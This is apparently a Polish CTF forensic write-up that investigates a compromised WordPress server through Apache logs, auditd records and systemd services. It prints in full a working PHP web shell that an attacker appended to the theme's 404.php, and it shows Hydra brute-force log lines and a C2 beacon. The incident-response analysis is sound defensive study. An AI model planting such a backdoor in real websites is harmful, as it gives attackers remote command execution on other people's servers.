W CTFie Honeynet Collapse zadanie 3. to pierwszy, faktyczny zestaw pytań. Polegał on na analizie śladów włamania na maszynie linuxowej. Głównym celem początkowego ataku była instancja WordPressa, dostępna na porcie 80.
Pytanie 1. — cel brute force-u
- Poziom trudności: łatwy 🟢
- Liczba punktów: 30
- Treść: Którą stronę internetową atakujący próbował złamać metodą brute force?
Z treści wynika, że atakujący próbował brute forcować którąś stronę WordPressa. Ataki brute force są wyjątkowo łatwe do wykrycia a odpowiedzi na to pytanie spodziewałem się w logach serwera Apache (choć od początku przeczuwałem, że chodzi o stronę logowania do panelu administracyjnego).
Domyślny katalog przechowujący logi Apache to /var/log/apache. Komunikaty dotyczące dostępu do stron znajdują się w access.log.
root@deceptipot-demo:~# cd /var/log/apache2/
root@deceptipot-demo:/var/log/apache2# ls
access.log error.log other_vhosts_access.log
Po odczytaniu tego pliku, moje przypuszczenia bardzo szybko się potwierdziły:
[...]
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
[...]
Pytanie 2. — backdoor
- Poziom trudności: średni 🟡
- Liczba punktów: 60
- Treść: Jaka jest bezwzględna ścieżka do pliku PHP z backdoorem?
Atak brute force przeprowadzony przez atakującego okazał się pomyślny. Z pytania 2. wynika, że do jednego z plików PHP dodał on tylną furtkę, prawdopodobnie w postaci skryptu wykonującego polecenia powłoki (funkcja system).
Tylko… jak ten plik znaleźć? Skoro i tak mamy otwarty już plik z logami dostępu, to może w nim znajdziemy coś na ten temat. WordPress pozwala na edycję szablonów, w tym plików PHP. W pliku access.log znajduje się zapis jednego żądania POST, które wskazuje na edycję szablonu:
167.172.41.141 - - [27/Jun/2025:21:31:51 +0000]
"POST /wp-admin/admin-ajax.php HTTP/1.1"
200 595
"http://demo-web.deceptitech.thm/wp-admin/theme-editor.php?file=404.php&theme=blocksy"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
Wygląda na to, że atakujący zmodyfikował plik 404.php, w motywie blocksy. Wystarczy znaleźć ten plik i ewentualnie sprawdzić czy faktycznie zawiera furtkę.
Instalacja WordPressa znajdowała się w domyślnym katalogu
/var/www/html (sam WordPress był w podkatalogu wordpress).
root@deceptipot-demo:/var/www/html/wordpress# ls
index.php wp-config-sample.php wp-login.php
license.txt wp-config.php wp-mail.php
readme.html wp-content wp-settings.php
wp-activate.php wp-cron.php wp-signup.php
wp-admin wp-includes wp-trackback.php
wp-blog-header.php wp-links-opml.php xmlrpc.php
wp-comments-post.php wp-load.php
Nasz motyw blocksy znajduje się w katalogu wp-content/themes/blocksy. Po wyświetleniu plików w tym katalogu, widać również nasz szukany plik 404.php:
root@deceptipot-demo:/var/www/html/wordpress/wp-content# ls
index.php plugins themes upgrade uploads
root@deceptipot-demo:/var/www/html/wordpress/wp-content# cd themes
root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# ls
blocksy twentytwentyfive twentytwentythree
index.php twentytwentyfour
root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# cd blocksy
root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy# ls
404.php footer.php package.json static
LICENSE functions.php page.php style.css
admin gulpfile.js readme.txt template-parts
archive.php header.php screenshot.jpg theme.json
artifacts inc searchform.php tutor
changelog.txt index.php sidebar.php woocommerce
comments.php languages single.php wpml-config.xml
root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy#
Niespodzianka, na końcu pliku 404.php (który swoją drogą ma za zadanie wyświetlać stronę błędu, gdy serwer nie znalazł danego zasobu) znajduje się ten interesujący kawałek kodu:
if (isset($_GET['doing_wp_corn']) && $_GET['doing_wp_corn'] === "t") {
echo '<form method="POST" style="width: 500px; max-width: fit-content; margin-left: auto; margin-right: auto;">
<input type="text" name="cmd" style="width: 300px;">
<input type="submit" value="Run">
</form>';
if (isset($_POST['cmd'])) {
echo '<pre style="width: 500px; margin-left: auto; margin-right: auto; white-space:pre-line;">';
system($_POST['cmd']);
echo "</pre>";
}
}
Gdy w żądaniu pojawi się parametr „doing_wp_corn” z wartością „t„, serwer radośnie wykona podane polecenie przekazane w parametrze „cmd” (z uprawnieniami serwera Apache).
Odpowiedzią na pytanie jest pełna ścieżka do pliku 404.php.
Pytanie 3. — eskalacja uprawnień
- Poziom trudności: łatwy 🟢
- Liczba punktów: 30
- Treść: Który plik umożliwił atakującemu uzyskanie uprawnień roota?
W poprzednim pytaniu dowiedzieliśmy się, że atakujący uzyskał dostęp do badanego serwera z uprawnieniami serwera WWW. Teraz musimy znaleźć jak udało mu się eskalować te uprawnienia.
Na serwerze została skonfigurowana usługa auditd, która monitorowała różne procesy zachodzące w trakcie pracy serwera. Logi tej usługi znajdowały się w pliku /var/log/auditd/audit.log.
Dostępne są narzędzia do przeszukiwania logów auditd, ale zdecydowałem się ręcznie przeszukać plik, ponieważ był stosunkowo mały (226 linii).
W pewnym momencie zauważyłem, że atakujący odczytał plik
/etc/ssh/id_ed25519.bak. Przykuło to moją uwagę, ponieważ nie kojarzyłem, żeby domyślna instalacja takowy zawierała:
type=EXECVE msg=audit(1751062057.449:533):
argc=2 a0="cat" a1="/etc/ssh/id_ed25519.bak"
Użytkownicy korzystający z SSH z pewnością będą wiedzieli, co to za plik — jest to kopia prywatnego klucza SSH. Jeżeli fingerprint odpowiadającego mu klucza publicznego znajduje się w katalogu .ssh użytkownika root, to ktokolwiek posiadający ten klucz będzie w stanie zalogować się jako root do serwera.
root@deceptipot-demo:~# cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP emily
root@deceptipot-demo:~# cat /etc/ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP root@deceptipot-demo
I tak właśnie było. Administrator najwyraźniej zapomniał zabezpieczyć kopię zapasową swojego klucza SSH.
Zatem odpowiedzią na pytanie jest ścieżka do tej kopii.
Pytanie 4. — szukanie wirusa
- Poziom trudności: trudny 🔴
- Liczba punktów: 120
- Treść: Jaki jest hash MD5 wirusa utrzymującego się na hoście?
Z treści pytania jasno wynika, że atakujący zainstalował jakiegoś rodzaju złośliwe oprogramowanie na analizowanym hoście. Musiałem je znaleźć i podać jego hash MD5 (albo znaleźć sam hash).
Postanowiłem odczytać dziennik systemowy za pomocą polecenia journalctl. W oczy od razu rzucił mi się komunikat z pewnej usługi:
Jul 27 10:39:18 deceptipot-demo kworker[1234]: 2025/07/27 10:39:18 client: Retrying in 25.6s...
Jul 27 10:40:29 deceptipot-demo kworker[1234]: 2025/07/27 10:40:29 client: Connection error: dial tcp 167.172.41.141:10443: i/o timeout (Attempt: 9/unlimited)
Miałem wrażenie, że już gdzieś widziałem ten adres. Był to adres IP, z którego został przeprowadzony atak brute force z pytania pierwszego. Najwyraźniej ten sam adres był używany jako serwer C2.
Nie mając wątpliwości, że znalazłem złośliwą usługę (kworker.service), wyświetliłem jej status.
root@deceptipot-demo:~# systemctl status kworker.service
● kworker.service - Kernel Hard Worker
Loaded: loaded (/etc/systemd/system/kworker.service; enabled; preset: enabled)
Active: active (running) since Sun 2025-07-27 10:32:06 UTC; 16min ago
Main PID: 1234 (kworker)
Tasks: 7 (limit: 2275)
Memory: 13.2M (peak: 13.4M)
CPU: 39ms
CGroup: /system.slice/kworker.service
└─1234 /usr/sbin/kworker
Kernel Hard Worker — bardzo przekonujący opis swoją drogą. Z opisu można wyczytać, że usługa uruchomiła plik /usr/sbin/kworker. Obliczyłem hash MD5 tego pliku i wysłałem jako odpowiedź:
root@deceptipot-demo:/var/log# md5sum /usr/sbin/kworker
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /usr/sbin/kworker
Pytanie 5. — DeceptiPot (bonus)
- Poziom trudności: trudny 🌟
- Liczba punktów: 25
- Treść: Czy możesz uruchomić DeceptiPot w trybie odzyskiwania?
Bonusowym zadaniem było pozyskanie klasycznej flagi poprzez uruchomienie programu DeceptiPot (fikcyjny program, przygotowany specjalnie pod CTFa) w trybie odzyskiwania.
Sam program znajdował się w katalogu /root. W tym samym folderze znalazłem również plik konfiguracyjny, zawierający poświadczenia, w tym klucz odzyskiwania (reckey):
# [...] reszta pliku
[security]
# Recovery key to change DeceptiPot settings after deployment
reckey = yyyyyyy
# Disables all DeceptiPot security features, use with caution
debugmode = true
Samo użycie klucza było banalne:
root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot -h
Usage of /usr/bin/deceptipot:
-d Daemonize
-r string Recovery Key
root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot -r yyyyyyy
Loading... Access granted: THM{xxxxxxxxxxxxxxxxxxxxx}